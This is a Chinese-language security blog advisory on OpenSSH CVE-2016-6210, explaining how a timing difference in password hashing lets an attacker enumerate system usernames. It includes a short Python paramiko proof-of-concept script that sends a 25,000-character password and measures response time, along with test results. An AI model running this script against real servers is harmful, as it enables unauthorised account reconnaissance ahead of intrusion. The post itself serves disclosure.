Braid信息安全博客 - Web安全|代码审计|安全开发|Java|php|python

【漏洞告警】 OpenSSH畸形长度密码枚举系统用户(CVE-2016-6210)

0x01 影响范围

OpenSSH <=OpenSSH 7.2p2

0x02 漏洞描述

当我们使用不存在的用户名去连接ssh服务器时,SSHD会基于BLOWFISH算法去生成一个假的密码,但如果使用存在的用户名,SSHD会使用SHA256/SHA512算法对密码进行加密。所以我们发送一个超大密码(>10KB),SHA256算法计算时间就远长于BLOWFISH算法的假密码。所以基于这个原理,我们可以枚举ssh用户名。

0x03 漏洞证明

测试的python脚本如下:

import paramiko
import time
user=raw_input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=time.time()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect('127.0.0.1', username=user,
password=p)
except:
endtime=time.time()
total=endtime-starttime
print(total)

分别使用本地内网对内网服务器、内网对外网VPS服务器进行测试

内网对内网

首先使用不存在的用户名进行测试:

再使用存在的root账户进行测试:

8.7秒>2.56秒,测试成功!

内网对VPS

首先使用不存在的用户名进行测试:

再使用存在的root账户进行测试:

12.66秒>4.74秒,测试成功!

0x04 修复方案

等OpenSSH官网补丁吧

本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2016/opensshsha.html,如需转载请联系作者。